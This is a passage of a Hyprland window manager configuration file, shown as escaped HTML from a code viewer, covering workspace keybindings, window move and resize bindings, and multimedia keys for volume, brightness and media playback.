&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;253&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Switch workspaces with mainMod + [0-9]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;254&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;255&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;256&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;257&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;258&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;259&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;260&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;7,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;261&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;262&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;263&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;264&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;265&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Move active window to a workspace with mainMod + SHIFT + [0-9]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;266&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;267&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;268&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;269&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;270&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;271&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;272&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;7,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;273&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;274&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;275&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;276&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;277&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Example special workspace (scratchpad)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;278&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;S,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;togglespecialworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;magic&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;279&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SHIFT,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;S,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movetoworkspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;special:magic&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;280&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;281&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Scroll through existing workspaces with mainMod + scroll&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;282&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mouse_down,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;e+1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;283&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mouse_up,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspace,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;e-1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;284&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;285&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Move/resize windows with mainMod + LMB/RMB and dragging&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;286&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mouse:272,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movewindow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;287&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mouse:273,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resizewindow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;288&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;289&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Laptop multimedia keys for volume and LCD brightness&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;290&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,XF86AudioRaiseVolume,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wpctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;set-volume&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;@DEFAULT_AUDIO_SINK@&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5%+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;291&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,XF86AudioLowerVolume,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wpctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;set-volume&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;@DEFAULT_AUDIO_SINK@&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5%-&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;292&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,XF86AudioMute,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wpctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;set-mute&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;@DEFAULT_AUDIO_SINK@&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;toggle&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;293&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,XF86AudioMicMute,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wpctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;set-mute&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;@DEFAULT_AUDIO_SOURCE@&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;toggle&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;294&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,XF86MonBrightnessUp,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;brightnessctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-e4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-n2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5%+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;295&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,XF86MonBrightnessDown,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;brightnessctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-e4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-n2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5%-&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;296&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;297&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Requires playerctl&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;298&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;XF86AudioNext,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;playerctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;next&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;299&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;XF86AudioPause,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;playerctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;play-pause&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;300&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;XF86AudioPlay,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;playerctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;play-pause&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;301&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bindl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;XF86AudioPrev,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;playerctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;previous&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;302&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;303&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##############################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;304&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### WINDOWS AND WORKSPACES ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;305&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##############################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;306&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;307&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Window-Rules/ for more&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;308&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Workspace-Rules/ for workspace rules&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;309&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;310&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Example windowrule&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;311&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# windowrule = float,class:^(kitty)$,title:^(kitty)$&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;312&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
